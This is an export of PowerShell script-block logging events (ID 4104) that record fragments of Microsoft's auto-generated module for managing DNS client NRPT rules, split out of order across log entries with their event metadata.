$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Force')) {
[object]$__cmdletization_value = ${Force}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Force'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Force'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Remove', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-DnsClientNrptRule' -Alias '*'
function Set-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessEnabled')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${DAEnable},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPSSECEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DAIPsecEncryptionType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessQueryIPsecRequired')]
[System.Nullable[bool]]
${DAIPsecRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessDNSServers')]
[string[]]
${DANameServers},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyName')]
[string]
${DAProxyServerName},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DirectAccessProxyType')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','NoProxy','UseDefault','UseProxyName')]
[string]
${DAProxyType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${Comment},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecEnabled')]
[bool]
${DnsSecEnable},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecEncryption')]
[AllowEmptyString()]
[AllowNull()]
[ValidateSet('','None','Low','Medium','High')]
[string]
${DnsSecIPsecEncryptionType},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('DnsSecQueryIPsecRequired')]
[System.Nullable[bool]]
${DnsSecIPsecRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[System.Nullable[bool]]
${DnsSecValidationRequired},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${GpoName},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[Alias('IPsecCARestriction')]
[string]
${IPsecTrustAuthority},
[Parameter(ParameterSetName='Set3', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateSet('Disable','Utf8WithMapping','Utf8WithoutMapping','Punycode')]
[string]
${NameEncoding},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string[]]
${NameServers},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Namespace},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Set3', ValueFromPipelineByPropertyName=$true)]
[string]
${DisplayName},
[Parameter(ParameterSetName='Set3')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Set3')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Set3')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Set3')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAEnable')) {
[object]$__cmdletization_value = ${DAEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecEncryptionType')) {
[object]$__cmdletization_value = ${DAIPsecEncryptionType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecEncryptionType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAIPsecRequired')) {
[object]$__cmdletization_value = ${DAIPsecRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAIPsecRequired'; ParameterType = 'System.Nullable`1[[System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DANameServers')) {
[object]$__cmdletization_value = ${DANameServers}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DANameServers'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyServerName')) {
[object]$__cmdletization_value = ${DAProxyServerName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyServerName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAProxyType')) {
[object]$__cmdletization_value = ${DAProxyType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Comment')) {
[object]$__cmdletization_value = ${Comment}
$__cmdletization_metho
ScriptBlock ID: 0a4425c8-4d79-42be-b3a5-87d710c0f827
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1892 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-eb28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
dParameters.ContainsKey('DAProxyType')) {
[object]$__cmdletization_value = ${DAProxyType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAProxyType'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DnsSecValidationRequired')) {
[object]$__cmdletization_value = ${DnsSecValidationRequired}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DnsSecValidationRequired'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DAEnable')) {
[object]$__cmdletization_value = ${DAEnable}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DAEnable'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPsecTrustAuthority')) {
[object]$__cmdletization_value = ${IPsecTrustAuthority}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPsecTrustAuthority'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Comment')) {
[object]$__cmdletization_value = ${Comment}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Comment'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayName')) {
[object]$__cmdletization_value = ${DisplayName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Add', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Add-DnsClientNrptRule' -Alias '*'
function Get-DnsClientNrptRule
{
[CmdletBinding(PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Get1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Get1', Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${Name},
[Parameter(ParameterSetName='Get1', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Get1')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Get1')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Get1')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('GpoName')) {
[object]$__cmdletization_value = ${GpoName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'GpoName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Server')) {
[object]$__cmdletization_value = ${Server}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Server'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameter.ParameterTypeName = 'Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule'
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.Int32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Get', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP PS_DnsClientNRPTRule_v1.0.0.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-DnsClientNrptRule' -Alias '*'
function Remove-DnsClientNrptRule
{
[CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])][OutputType('Microsoft.Management.Infrastructure.CimInstance#DnsClientNrptRule')]
param(
[Parameter(ParameterSetName='Remove2', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${GpoName},
[Parameter(ParameterSetName='Remove2', Mandatory=$true, Position=1, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='Remove2')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${PassThru},
[Parameter(ParameterSetName='Remove2', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Server},
[Parameter(ParameterSetName='Remove2')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${Force},
[Parameter(ParameterSetName='Remove2')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='Remove2')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='Remove2')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_metho
ScriptBlock ID: 0a4425c8-4d79-42be-b3a5-87d710c0f827
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1891 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:06 AM | dfeadd90-ee34-0004-eb28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'root/Microsoft/Windows/DNS/PS_DnsClientNrptRule'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
